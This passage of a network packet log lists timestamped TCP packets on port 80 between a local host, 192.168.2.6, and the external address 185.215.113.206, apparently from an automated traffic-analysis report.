Oct 27, 2024 00:31:16.643253088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643264055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643296957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.643322945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.643795013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643805981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643815041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643826962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643840075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643845081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.643853903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643865108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643871069 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.643877983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.643889904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.643917084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.644165039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644176960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644196033 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644207954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644210100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.644223928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.644239902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.644306898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644345045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.644376040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644387960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644397020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644408941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644419909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644419909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.644455910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.644953966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644965887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644975901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644988060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.644995928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.644999981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645008087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.645011902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645025015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645036936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645042896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.645050049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645052910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.645061970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645083904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.645116091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.645798922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645811081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645821095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645832062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645843983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645845890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.645855904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645867109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645878077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.645879030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.645888090 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.645891905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646625996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646636963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646647930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646657944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646660089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.646660089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.646670103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646677971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.646682978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646696091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646708012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646717072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.646720886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.646728992 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.646745920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.646774054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.647388935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647408009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647418976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647429943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647442102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647449970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.647454023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647466898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647471905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.647480011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647495985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647506952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.647507906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.647517920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.647550106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.648226023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648237944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648247957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648267031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648277044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.648277998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648291111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648303032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648313046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.648315907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648329973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648332119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.648343086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.648359060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.648386002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.649149895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.649163008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.649174929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.649187088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.649198055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.649207115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.649211884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.649235964 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.649251938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758145094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758161068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758176088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758222103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758255005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758263111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758269072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758280993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758291960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758295059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758320093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758342981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758589983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758604050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758615017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758625031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758646965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758666039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758692026 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758857012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758893967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758912086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758924007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758934975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.758948088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758963108 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.758981943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.759267092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759279013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759289980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759301901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759325027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759326935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.759354115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.759366989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.759654045 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759666920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759679079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759691000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.759708881 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.759735107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760013103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760025978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760037899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760049105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760061979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760061979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760082960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760102987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760525942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760538101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760549068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760560989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760569096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760575056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760586977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760596037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760600090 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760612011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760615110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760624886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760634899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760637999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.760658026 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.760674000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.761362076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761373997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761384010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761400938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761411905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761419058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.761425972 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761444092 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761446953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.761456013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761464119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.761470079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761482000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761491060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.761495113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.761513948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.761529922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762209892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762223005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762234926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762247086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762254953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762259960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762279034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762295961 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762701035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762711048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762722015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762732983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762744904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762749910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762757063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762769938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762777090 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762783051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762792110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762794971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762805939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762806892 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.762833118 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.762857914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.763628006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763641119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763649940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763663054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763674021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763681889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.763686895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763701916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763709068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.763715029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763725042 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.763726950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763741016 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.763752937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.763783932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.764554024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764566898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764576912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764589071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764600992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764601946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.764614105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764624119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764626980 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.764637947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764646053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.764651060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764662981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764673948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.764676094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.764707088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.765480995 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765494108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765503883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765515089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765527010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765535116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.765537977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765552998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765566111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765566111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.765578032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765580893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.765590906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765603065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765611887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.765614986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.765642881 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.765659094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.766220093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766232014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766242027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766252995 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766264915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766268969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.766278028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766287088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.766290903 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766304970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766316891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.766316891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766330957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.766331911 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766345024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766355991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.766355991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.766382933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.766401052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.805986881 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.806004047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.806049109 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.806092024 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.873529911 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.873542070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.873553038 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.873599052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.873622894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.873634100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.873662949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.873723030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.873733997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.873744965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.873755932 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.873773098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.873806953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.873970985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874043941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874056101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874075890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874089003 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.874114990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.874258041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874267101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874277115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874288082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874299049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874311924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874313116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.874330044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.874346018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.874607086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874619961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874629974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874640942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874663115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.874697924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.874887943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874901056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874911070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:16.874933004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.874958038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:16.875157118 CEST	80	49709	185.215.113.206	192.168.2.6
